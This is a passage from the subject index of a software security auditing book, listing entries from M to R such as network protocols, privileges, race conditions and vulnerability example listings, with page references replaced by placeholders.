MS-RPC DCOM Buffer Overflow Listing listing (7-16)(? [????.]) MSDN (Microsoft Developer Network)(? [????.]) MTA (mulitthreaded apartment), COM (Component Object Model)(? [????.]) multibyte character sequences, interpretation(? [????.]) MultiByteToWideChar( ) function(? [????.]) 2nd(? [????.]) Multics (Multiplexed Information and Computing Service)(? [????.]) Multiple Embedded Delimiters listing (8-9)(? [????.]) multiple encoding layers(? [????.]) multiple-input test cases, code audits(? [????.]) Multiplexed Information and Computing Service (Multics)(? [????.]) multiplication overflows, Intel architectures(? [????.]) 2nd(? [????.]) multiplicative operators(? [????.]) multithreaded apartment (MTA), COM (Component Object Model)(? [????.]) multithreaded programs, synchronization(? [????.]) deadlocks(? [????.]) PThreads API(? [????.]) race conditions(? [????.]) starvation(? [????.]) Windows API(? [????.]) Murray, Bill(? [????.]) mutex(? [????.]) mutex objects, Windows NT(? [????.]) mutexes, PThreads API(? [????.]) MVC (Model-View-Controller)(? [????.]) my_malloc( ) function(? [????.]) 10.15 N Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] N-tier architectures(? [????.]) 2nd(? [????.]) business tier(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1191 client tier(? [????.]) data tier(? [????.]) MVC (Model-View-Controller)(? [????.]) Web tier(? [????.]) name servers, DNS (Domain Name System)(? [????.]) name squatting(? [????.]) Name Validation Denial of Service listing (16-1)(? [????.]) named pipes UNIX(? [????.]) Windows NT(? [????.]) names, DNS (Domain Name System)(? [????.]) namespaces (Windows NT) global namespaces(? [????.]) local namespaces(? [????.]) objects(? [????.]) collisions(? [????.]) Vista object namespaces(? [????.]) narrowing integer types(? [????.]) NAT (Network Address Translation)(? [????.]) National Institute for Standards and Technology (NIST)(? [????.]) navigating code(? [????.]) external flow sensitivity(? [????.]) tracing(? [????.]) NCACN (network computing architecture connection-oriented protocol), RPCs (Remote Procedure Calls)(? [????.]) NCALRPC (network computing architecture local remote procedure call protocol), RPCs (Remote Procedure Calls)(? [????.]) NCDAG (network computing architecture datagram protocol), RPCs (Remote Procedure Calls)(? [????.]) .NET Common Language Runtime (CLR)(? [????.]) .NET Developer's Guide to Windows Security, The(? [????.]) NetBSD(? [????.]) netmasks(? [????.]) Netscape NSS Library UCS2 Length Miscalculation listing (7-36)(? [????.]) Netscape Server Application Programming Interface (NSAPI)(? [????.]) Network Address Translation (NAT) [See NAT (Network Address Translation)(? [????.]).] network application protocols(? [????.]) ASN.1 (Abstract Syntax Notation)(? [????.]) BER (Basic Encoding Rules)(? [????.]) CER (Canonical Encoding Rules)(? [????.]) DER (Distinguished Encoding Rules)(? [????.]) PER (Packed Encoding Rules)(? [????.]) XER (XML Encoding Rules)(? [????.]) auditing(? [????.]) data type matching(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1192 data verification(? [????.]) documentation collection(? [????.]) identifying elements(? [????.]) system resource access(? [????.]) DNS (Domain Name System)(? [????.]) 2nd(? [????.]) headers(? [????.]) length variables(? [????.]) name servers(? [????.]) names(? [????.]) packets(? [????.]) question structure(? [????.]) request traffic(? [????.]) resolvers(? [????.]) resource records(? [????.]) 2nd(? [????.]) 3rd(? [????.]) spoofing(? [????.]) zones(? [????.]) HTTP (Hypertext Transfer Protocol)(? [????.]) header parsing(? [????.]) posting data(? [????.]) resource access(? [????.]) utility functions(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) encryption vunerabilities(? [????.]) headers(? [????.]) payloads(? [????.]) network computing architecture connection-oriented protocol (NCACN), RPCs (Remote Procedure Calls)(? [????.]) network computing architecture datagram protocol (NCDAG), RPCs (Remote Procedure Calls)(? [????.]) network computing architecture local remote procedure call protocol (NCALRPC), RPCs (Remote Procedure Calls)(? [????.]) Network File System (NFS)(? [????.]) network interfaces(? [????.]) network layer, network segmentation(? [????.]) network profiles, vunerabilities(? [????.]) network protocols(? [????.]) IP (Internet Protocol)(? [????.]) addressing(? [????.]) checksum(? [????.]) fragmentation(? [????.]) header validation(? [????.]) IP packets(? [????.]) options(? [????.]) source routing(? [????.]) network application protocols(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1193 ASN.1 (Abstract Syntax Notation)(? [????.]) auditing(? [????.]) DNS (Domain Name System)(? [????.]) HTTP (Hypertext Transfer Protocol)(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) TCP (Transmission Control Protocol)(? [????.]) connections(? [????.]) 2nd(? [????.]) header validation(? [????.]) headers(? [????.]) options(? [????.]) processing(? [????.]) segments(? [????.]) streams(? [????.]) 2nd(? [????.]) TCP/IP(? [????.]) UDP (User Datagram Protocol)(? [????.]) network segmentation(? [????.]) layer 1 (physical)(? [????.]) layer 2 (data link)(? [????.]) layer 3 (network)(? [????.]) layer 4 (transport)(? [????.]) layer 5 (session)(? [????.]) layer 6 (presentation)(? [????.]) layer 7 (application)(? [????.]) network time protocol (NTP) daemon(? [????.]) network-based measures, operational vulnerabilities(? [????.]) NAT (Network Address Translation)(? [????.]) network IDSs(? [????.]) network IPSs(? [????.]) segmentation(? [????.]) VPNs (virtual private networks)(? [????.]) NFS (Network File System)(? [????.]) 2nd(? [????.]) Nietzsche, Frederich(? [????.]) NIST (National Institute for Standards and Technology)(? [????.]) node types(? [????.]) non-returning signal handlers, signals(? [????.]) 2nd(? [????.]) nonce payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) nonexecutable memory pages(? [????.]) nonexecutable stacks heap protection(? [????.]) operational vulnerabilities, preventing(? [????.]) nonrecursive name servers (DNS)(? [????.]) nonroot setgid programs (UNIX)(? [????.]) nonroot setuid programs (UNIX)(? [????.]) nonsecurable objects, Windows NT(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1194 nonsuperuser elevated privileges, UNIX, dropping permanently(? [????.]) 2nd(? [????.]) Nordell, Mike(? [????.]) notification payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) NSAPI (Netscape Server Application Programming Interface)(? [????.]) NTP (network time protocol) daemon(? [????.]) NTPD Buffer Overflow Example listing (7-17)(? [????.]) NtQuerySystemInformation( ) function(? [????.]) NUL byte injection queries, Perl(? [????.]) NUL Bytes in Multibyte Code Pages listing (8-32)(? [????.]) NUL-byte injection(? [????.]) NUL-Byte Injection with Memory Corruption listing (8-10)(? [????.]) NUL-termination, Unicode(? [????.]) null bytes(? [????.]) NULL, INVALID_HANDLE_VALUE, compared(? [????.]) numeric overflow conditions, C programming language(? [????.]) numeric overflow, unsigned integers(? [????.]) numeric underflow conditions, C programming language(? [????.]) numeric underflow, unsigned integers(? [????.]) numeric wrapping, C programming language(? [????.]) 10.16 O Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] O_CREAT | O_EXCL flag (UNIX)(? [????.]) O_EXCL flag (UNIX)(? [????.]) Object Management Group (OMG)(? [????.]) object systems, permissions(? [????.]) objects analyzing, CC (code comprehension)(? [????.]) C programming language(? [????.]) change monitoring(? [????.]) COM (Component Object Model), automation objects(? [????.]) 2nd(? [????.]) connection points(? [????.]) DCOM objects activation(? [????.]) invocation(? [????.]) linking, vunerabilities(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1195 unitialized attributes(? [????.]) variables, management(? [????.]) Windows NT(? [????.]) boundary descriptor objects(? [????.]) handles(? [????.]) namespaces(? [????.]) nonsecurable objects(? [????.]) SymbolicLink objects(? [????.]) system objects(? [????.]) Oechslin, Philippe(? [????.]) off-by-one errors, buffer overflows(? [????.]) Off-by-One Length Miscalculation listing (5-2)(? [????.]) Off-by-One Length Miscalculation listing (5-3)(? [????.]) Off-by-One Overwrite listing (5-6)(? [????.]) OLE (Object Linking and Embedding), COM (Component Object Model)(? [????.]) Olsson, Mikael(? [????.]) OMG (Object Management Group)(? [????.]) omissions, file descriptors, UNIX(? [????.]) ONC (Open Network Computing) RPCs(? [????.]) 2nd(? [????.]) open( ) function(? [????.]) 2nd(? [????.]) open( ) system call (UNIX)(? [????.]) OpenBSD 2.8(? [????.]) 2nd(? [????.]) OpenBSD ftp Off-by-one Vulnerability listing (7-20)(? [????.]) OpenFile( ) function(? [????.]) opening files, stdio file system(? [????.]) OpenMutex( ) function(? [????.]) OpenPrivateNamespace( ) function(? [????.]) OpenProcess( ) function(? [????.]) OpenSSH(? [????.]) authentication files(? [????.]) code auditing, case study(? [????.]) configuration file(? [????.]) data buffers, vunerabilities(? [????.]) external application invocation(? [????.]) local privilege separation socket(? [????.]) remote client socket(? [????.]) OpenSSH Buffer Corruption Vulnerability listing (7-4)(? [????.]) OpenSSL BUF-MEM_grow( ) function(? [????.]) double-free vunerabiltiy(? [????.]) OpenSSL BUF_MEM_grow( ) Signed Variable Desynchronization listing (7-5)(? [????.]) operands, order of evaluation(? [????.]) operating systems, file system interaction(? [????.]) execution(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1196 file uploading(? [????.]) null bytes(? [????.]) path traversal(? [????.]) programmatic SSI(? [????.]) operational vulnerabilities(? [????.]) access control(? [????.]) attack surfaces(? [????.]) development protective measures(? [????.]) ASLR (address space layout randomization)(? [????.]) heap protection(? [????.]) nonexecutable stacks(? [????.]) registered function pointers(? [????.]) stack protection(? [????.]) VMs (virtual machines)(? [????.]) exposure(? [????.]) host-based measures(? [????.]) antimnalware applications(? [????.]) change monitoring(? [????.]) chroot jails(? [????.]) enhanced kernel protections(? [????.]) file system permissions(? [????.]) host-based firewalls(? [????.]) host-based IDSs (intrusion detection systems)(? [????.]) host-based IPSs (intrusion prevention systems)(? [????.]) object system permissions(? [????.]) restricted accounts(? [????.]) system virtualization(? [????.]) insecure defaults(? [????.]) network profiles(? [????.]) network-based measures(? [????.]) NAT (Network Address Translation)(? [????.]) network IDSs(? [????.]) network IPSs(? [????.]) segmentation(? [????.]) VPNs (virtual private networks)(? [????.]) secure channels(? [????.]) spoofing(? [????.]) unnecessary services(? [????.]) Web-specific vulnerabilities authentication(? [????.]) default site installations(? [????.]) directory indexing(? [????.]) file handlers(? [????.]) HTTP request methods(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1197 overly verbose error messages(? [????.]) public-facing administrative interfaces(? [????.]) Web-specific vunerabilities(? [????.]) operational vunerabilities(? [????.]) 2nd(? [????.]) operations, SDLC (Systems Development Life Cycle)(? [????.]) operators assignment operators, type conversions(? [????.]) binary bitwise operators(? [????.]) bitwise shift operators(? [????.]) C programming language(? [????.]) 2nd(? [????.]) equality operators(? [????.]) multiplicative operators(? [????.]) question mark operators(? [????.]) relational operators(? [????.]) vulnerabilities right shift(? [????.]) size(? [????.]) options IP (Internet Protocol)(? [????.]) TCP options, processing(? [????.]) OPTIONS method(? [????.]) order of action, ACC logs(? [????.]) Order of Evaluation Logic Vulnerability listing (6-30)(? [????.]) Order of Evaluation Macro Vulnerability listing (6-31)(? [????.]) order of evaluation, operands(? [????.]) originator validation(? [????.]) Osborne, Anthony(? [????.]) out-band representation, metadata(? [????.]) out-of-order statements(? [????.]) Out-of-Order Statements listing (7-35)(? [????.]) Outdated Pointer Use in ProFTPD listing (7-31)(? [????.]) Outdated Pointer Vulnerability listing (7-30)(? [????.]) outdated pointers(? [????.]) ProFTPD(? [????.]) overflow multiplication overflows, Intel architectures(? [????.]) 2nd(? [????.]) unsigned integers(? [????.]) Overflowing into Local Variables listing (5-4)(? [????.]) overlapping fragments, IP (Internet Protocol)(? [????.]) overly verbose error messages, Web-based applications(? [????.]) overwriting bytes(? [????.]) ownership, UNIX files, race conditions(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1198 10.17 P Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] packet sniffers(? [????.]) packet subsystem, SSH server, code audits(? [????.]) packet-filtering firewalls(? [????.]) proxy firewalls, compared(? [????.]) stateful firewalls(? [????.]) directionality(? [????.]) fragmentation(? [????.]) stateful inspection firewalls(? [????.]) TCP (Transport Control Protocol)(? [????.]) UDP (User Datagram Protocol)(? [????.]) stateless firewalls(? [????.]) fragmentation(? [????.]) FTP (File Transfer Protocol)(? [????.]) TCP (Transmission Control Protocol)(? [????.]) UDP (User Datagram Protocol)(? [????.]) packets DNS (Domain Name System)(? [????.]) encapsulation(? [????.]) IP packets(? [????.]) packet sniffers(? [????.]) source routing(? [????.]) TCP packets, scanning(? [????.]) padding bits, unsigned integer types(? [????.]) page flow(? [????.]) Paget, Chris(? [????.]) parameterized queries(? [????.]) parameters, transmitting to Web applications(? [????.]) embedded path information(? [????.]) forms(? [????.]) GET method(? [????.]) 2nd(? [????.]) parameter encoding(? [????.]) POST method(? [????.]) query strings(? [????.]) parent directories, UNIX(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1199 parent functions, vunerabilities(? [????.]) parroted request variables(? [????.]) parse_rrecord( ) function(? [????.]) parsing HTTP headers(? [????.]) passive FTP(? [????.]) password files, UNIX(? [????.]) PATH environment variable (UNIX)(? [????.]) path information (HTTP)(? [????.]) path metacharcters(? [????.]) file canonicalization(? [????.]) Windows registry(? [????.]) path traversal(? [????.]) PATH_INFO environment variable(? [????.]) 2nd(? [????.]) PATH_TRANSLATED environment variable(? [????.]) pathnames hexadecimal encoding(? [????.]) UNIX(? [????.]) pathological code paths(? [????.]) pathological fragment sets, IP (Internet Protocol)(? [????.]) paths files, UNIX(? [????.]) path traversal(? [????.]) Payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) certificate payloads(? [????.]) certificate request payloads(? [????.]) delete payloads(? [????.]) hash payloads(? [????.]) identification payloads(? [????.]) key exchange payloads(? [????.]) 2nd(? [????.]) nonce payloads(? [????.]) notification payloads(? [????.]) proposal payloads(? [????.]) SA (security association) payloads(? [????.]) signature payloads(? [????.]) transform payloads(? [????.]) vendor ID payloads(? [????.]) PCI (Payment Card Industry) 1.0 Data Security Requirement(? [????.]) peer reviews, application review(? [????.]) PER (Packed Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) Perl(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1200 open( ) function(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) taint mode(? [????.]) permission bitmasks(? [????.]) permissions DCOM (Distributed Component Object Model), subsystem access permissions(? [????.]) Directories, UNIX(? [????.]) file access, Windows NT(? [????.]) 2nd(? [????.]) file systems(? [????.]) files, UNIX(? [????.]) mailsots(? [????.]) object systems(? [????.]) registry keys, Windows NT(? [????.]) UNIX files, race conditions(? [????.]) Windows NT pipes(? [????.]) personal user files, UNIX(? [????.]) phishing(? [????.]) PHP (PHP Hypertext Preprocessor)(? [????.]) 2nd(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) shell invocation(? [????.]) 2nd(? [????.]) SQL injection queries(? [????.]) php_error_docref( ) function(? [????.]) phrack magazine(? [????.]) physical layer, network segmentation(? [????.]) PIDs (process IDs), UNIX(? [????.]) pipe squatting, Windows NT(? [????.]) pipe( ) system call(? [????.]) pipes UNIX, 612, named pipes(? [????.]) Windows NT anonymous pipes(? [????.]) creating(? [????.]) impersonation(? [????.]) IPC (interprocess communications)(? [????.]) named pipes(? [????.]) permissions(? [????.]) pipe squatting(? [????.]) PKI (Public Key Infrastructure)(? [????.]) point-of-sale (PoS) system(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1201 Pointer Arithmetic Vulnerability Example listing (6-29)(? [????.]) pointer updates, lists, errors(? [????.]) pointers(? [????.]) arithmetic(? [????.]) C programming language(? [????.]) EBP (extended base pointer)(? [????.]) ESP (extended stack pointer)(? [????.]) function pointers, obfuscation(? [????.]) outdated pointers(? [????.]) 2nd(? [????.]) ProFTPD(? [????.]) text strings, incrementing incorrectly(? [????.]) vunerabilities(? [????.]) Pol, Joost(? [????.]) policies (security)(? [????.]) access control policy(? [????.]) breaches(? [????.]) enforcing(? [????.]) pop( ) function(? [????.]) popen( ) function(? [????.]) 2nd(? [????.]) Portable Operating System Interface for UNIX (POSIX)(? [????.]) PoS (point-of-sale) system(? [????.]) positive decimal integers, binary notation, converting to(? [????.]) positive numbers, decimal conversion from binary notation(? [????.]) POSIX (Portable Operating System Interface for UNIX)(? [????.]) 2nd(? [????.]) signals, handling(? [????.]) POST method(? [????.]) Postincrement Loop Vulnerability listing (7-21)(? [????.]) posting data, HTTP (Hypertext Transfer Protocol)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) posttest loops, pretest loops, compared(? [????.]) Practical Cryptography(? [????.]) Pragma header field (HTTP)(? [????.]) preassessment phase, code review(? [????.]) application access(? [????.]) information collection(? [????.]) scoping(? [????.]) precedence, C programming language(? [????.]) precision, integer types(? [????.]) predefined registry keys, Windows NT(? [????.]) prepared statements(? [????.]) preprocessors, C programming language(? [????.]) Prescan Sign Extension Vulnerability in Sendmail listing (6-13)(? [????.]) prescan( ) function(? [????.]) 2nd(? [????.]) presentation layer, network segmentation(? [????.]) presentation logic(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1202 preshared keys (PSKs), discovery of(? [????.]) Pretest Loop Vulnerability listing (7-22)(? [????.]) pretest loops, posttest loops, compared(? [????.]) primary groups, UNIX(? [????.]) printf( ) function(? [????.]) 2nd(? [????.]) Privilege Misuse in XFree86 SVGA Server listing (9-1)(? [????.]) privilege separation, SSH server, code audits(? [????.]) privileges(? [????.]) UNIX(? [????.]) capabilities(? [????.]) directory permissions(? [????.]) dropping permanently(? [????.]) 2nd(? [????.]) dropping temporarily(? [????.]) extensions(? [????.]) file IDs(? [????.]) file permissions(? [????.]) file security(? [????.]) files(? [????.]) group ID functions(? [????.]) management code audits(? [????.]) programs(? [????.]) user ID functions(? [????.]) vunerabilities(? [????.]) Windows NT sessions, access tokens(? [????.]) XF86_SVGA servers, misuse of(? [????.]) problem domain logic(? [????.]) Problems with 64-bit Systems listing (7-42)(? [????.]) proc file system (UNIX)(? [????.]) procedures, stored(? [????.]) Process Explorer(? [????.]) process memory layout, buffer overflows(? [????.]) process outline, code review(? [????.]) process_file( ) function(? [????.]) process_login( ) function(? [????.]) process_string( ) function(? [????.]) process_tcp_packet( ) function(? [????.]) process_token_string( ) function(? [????.]) processes multiple process, shared memory(? [????.]) process synchronization(? [????.]) interprocess synchronization(? [????.]) lock matching(? [????.]) synchronization object scoreboard(? [????.]) System V synchronization(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1203 Windows NT(? [????.]) signals(? [????.]) asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) default actions(? [????.]) handling(? [????.]) interruptions(? [????.]) 2nd(? [????.]) jump locations(? [????.]) non-returning signal handlers(? [????.]) 2nd(? [????.]) repetition(? [????.]) sending(? [????.]) signal handler scoreboard(? [????.]) signal masks(? [????.]) vunerabilities(? [????.]) 2nd(? [????.]) UNIX(? [????.]) 2nd(? [????.]) attributes(? [????.]) child processes(? [????.]) children(? [????.]) creating(? [????.]) environment arrays(? [????.]) fork( ) system call(? [????.]) groups(? [????.]) interprocess communication(? [????.]) open( ) function(? [????.]) program invocation(? [????.]) RPCs (Remote Procedure Calls(? [????.]) sessions(? [????.]) system file table(? [????.]) terminals(? [????.]) termination(? [????.]) Windows NT(? [????.]) DLL loading(? [????.]) IPC (interprocess communications)(? [????.]) loading(? [????.]) services(? [????.]) ShellExecute( ) function(? [????.]) ShellExecuteEx( ) function(? [????.]) processing IP fragmentation(? [????.]) TCP (Transmission Control Protocol)(? [????.]) options(? [????.]) sequence number boundary condition(? [????.]) sequence number representation(? [????.]) state processing(? [????.]) URG pointer processing(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1204 window scale option(? [????.]) processJob( )(? [????.]) processNetwork( ) function(? [????.]) processThread( ) function(? [????.]) profiling source code(? [????.]) ProFTPD, outdated pointers(? [????.]) program configuration files, UNIX(? [????.]) program files, UNIX(? [????.]) program invocation, UNIX(? [????.]) direct invocation(? [????.]) indirect invocation(? [????.]) programmatic SSI(? [????.]) programming interfaces, Windows NT, security descriptors(? [????.]) programming languages(? [????.]) C(? [????.]) arithmetic boundary conditions(? [????.]) binary encoding(? [????.]) bit fields(? [????.]) bitwise shift operators(? [????.]) byte order(? [????.]) character types(? [????.]) data storage(? [????.]) floating types(? [????.]) format strings(? [????.]) function invocations(? [????.]) implementation definied behavior(? [????.]) integer types(? [????.]) macros(? [????.]) objects(? [????.]) operators(? [????.]) order of evaluation(? [????.]) pointers(? [????.]) precedence(? [????.]) preprocessor(? [????.]) signed integer boundaries(? [????.]) standards(? [????.]) stdio file interface(? [????.]) structure padding(? [????.]) switch statements(? [????.]) type conversion vunerabilities(? [????.]) type conversions(? [????.]) types(? [????.]) typos(? [????.]) unary + operator(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1205 unary - operator(? [????.]) unary operator(? [????.]) undefinied behavior(? [????.]) unsigned integer boundaries(? [????.]) Perl, open( ) function(? [????.]) Programming Windows Security(? [????.]) programs, UNIX, privileged programs(? [????.]) promotions, integers(? [????.]) PROPFIND method(? [????.]) ProPolice, stack cookies(? [????.]) proposal payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) PROPPATCH method(? [????.]) proprietary state mechanisms, RPCs (Remote Procedure Calls)(? [????.]) protocol quirks(? [????.]) protocol state(? [????.]) protocols application protocols(? [????.]) ASN.1 (Abstract Syntax Notation)(? [????.]) auditing(? [????.]) 2nd(? [????.]) DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) HTTP (Hypertext Transfer Protocol)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 2nd(? [????.]) binary protocols, data type matching(? [????.]) 2nd(? [????.]) FTP (File Transfer Protocol)(? [????.]) HTTP (Hypertext Transport Protocol)(? [????.]) authentication(? [????.]) 2nd(? [????.]) cookies(? [????.]) embedded path information(? [????.]) forms(? [????.]) headers(? [????.]) methods(? [????.]) 2nd(? [????.]) overview of(? [????.]) parameter encoding(? [????.]) query strings(? [????.]) requests(? [????.]) responses(? [????.]) sessions(? [????.]) 2nd(? [????.]) state maintenance(? [????.]) versions(? [????.]) network protocols(? [????.]) IP (Internet Protocol)(? [????.]) TCP (Transmission Control Protocol)(? [????.]) TCP/IP(? [????.]) UDP (User Datagram Protocol)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1206 REST (Representational State Transfer)(? [????.]) SOAP (Simple Object Access Protocol)(? [????.]) SSL/TLS (Secure Sockets Layer/Transport Layer Security)(? [????.]) text-based protocols, data type matching(? [????.]) proxies, COM (Component Object Model)(? [????.]) proxy firewalls(? [????.]) packet-filtering firewalls, compared(? [????.]) Proxy-Authorization header field (HTTP)(? [????.]) pseudo-objects, Windows NT(? [????.]) PSKs (preshared keys), discovery of(? [????.]) PThreads API(? [????.]) condition variables(? [????.]) mutexes(? [????.]) public directories, UNIX(? [????.]) Public header field (HTTP)(? [????.]) public key encryption(? [????.]) Public Key Infrastructure (PKI)(? [????.]) public-facing administrative interfaces, Web-based applications(? [????.]) punctuation errors, loops(? [????.]) punycode(? [????.]) Purczynski, Wojciech(? [????.]) push( ) function(? [????.]) PUT method(? [????.]) putenv( ) function(? [????.]) 2nd(? [????.]) pw_lock( ) function(? [????.]) 10.18 Q Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] QA testing(? [????.]) queries indexed queries(? [????.]) parameterized queries(? [????.]) query strings(? [????.]) SQL queries, metacharacters(? [????.]) query strings HTTP(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1207 indexed queries(? [????.]) QUERY_STRING (environment variable)(? [????.]) QueryInterface( ) function(? [????.]) question mark operators(? [????.]) question structure, DNS (Domain Name System)(? [????.]) queues, message queues(? [????.]) 10.19 R Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Race Condition from Kerberos 4 in lstat( ) and open( ) listing (9-4)(? [????.]) Race Condition in access( ) and open( ) listing (9-3)(? [????.]) Race Condition in open( ) and lstat( ) listing (9-5)(? [????.]) Race Condition in the Linux Kernel's Uselib( ) listing (13-3)(? [????.]) race conditions junction points(? [????.]) synchroniciy(? [????.]) threading(? [????.]) 2nd(? [????.]) 3rd(? [????.]) UNIX file system(? [????.]) directory races(? [????.]) ownership races(? [????.]) permission races(? [????.]) TOCTOU (time to check to time of use)(? [????.]) Rain Forest Puppy (RFP)(? [????.]) Range header field (HTTP)(? [????.]) raw memory devices(? [????.]) raw sockets(? [????.]) Raymond, Eric(? [????.]) RDBMS (relational database management system)(? [????.]) read( ) function(? [????.]) read_data( ) function(? [????.]) read_line( ) function(? [????.]) reading files, stdio file system(? [????.]) real groups, UNIX(? [????.]) real users (UNIX)(? [????.]) 2nd(? [????.]) realloc( ) function(? [????.]) Reallocation Double-Free Vulnerability listing (7-47)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1208 Reallocation Integer Overflow listing (7-40)(? [????.]) recursive name servers (DNS)(? [????.]) redirector, Windows NT(? [????.]) session credentials(? [????.]) SMB relay attacks(? [????.]) UNC (Universal Naming Convention) paths(? [????.]) redundancy in Web applications(? [????.]) reentrancy functions(? [????.]) multithreaded programs(? [????.]) referentially opaque side effects, functions(? [????.]) referentially transparent side effects, functions(? [????.]) Referer header field (HTTP)(? [????.]) Referer request header(? [????.]) RegCloseKey( ) function(? [????.]) RegCreateKey( ) function(? [????.]) RegCreateKeyEx( ) function(? [????.]) 2nd(? [????.]) RegDeleteKey( ) function(? [????.]) RegDeleteKeyEx( ) function(? [????.]) RegDeleteValue( ) function(? [????.]) register_globals option (PHP)(? [????.]) registered function pointers, operational vulnerabilities, preventing(? [????.]) registering interfaces, RPC servers(? [????.]) registration, COM (Component Object Model) applications(? [????.]) registry, Windows NT(? [????.]) key permissions(? [????.]) key squatting(? [????.]) predefined keys(? [????.]) value squatting(? [????.]) RegOpenKey( )(? [????.]) RegOpenKey( ) function(? [????.]) RegOpenKeyEx( )(? [????.]) RegOpenKeyEx( ) function(? [????.]) RegQueryValue( ) function(? [????.]) RegQueryValueEx( ) function(? [????.]) relational database management system (RDBMS)(? [????.]) relational operators(? [????.]) relationships, variables(? [????.]) relinquishing UNIX privileges permanently(? [????.]) 2nd(? [????.]) temporarily(? [????.]) remediation support phase, code review(? [????.]) 2nd(? [????.]) remote client socket, OpenSSH(? [????.]) Remote Procedure Call (RPC) endpoints(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1209 REMOTE_ADDR (environment variable)(? [????.]) REMOTE_HOST (environment variable)(? [????.]) REMOTE_IDENT (environment variable)(? [????.]) REMOTE_USER (environment variable)(? [????.]) Reopening a Temporary File listing (9-6)(? [????.]) repetition, signals(? [????.]) Representational State Transfer (REST)(? [????.]) request traffic, DNS (Domain Name System)(? [????.]) request variables(? [????.]) parroted request variables(? [????.]) synthesized request variables(? [????.]) REQUEST_METHOD (environment variable)(? [????.]) requests HTTP(? [????.]) Referer request header(? [????.]) RPC servers, listening to(? [????.]) require( ) function(? [????.]) requirements definitions, SDLC (Systems Development Life Cycle)(? [????.]) requirements, software(? [????.]) rereading code, code audits(? [????.]) resetting TCP connections(? [????.]) resolvers, 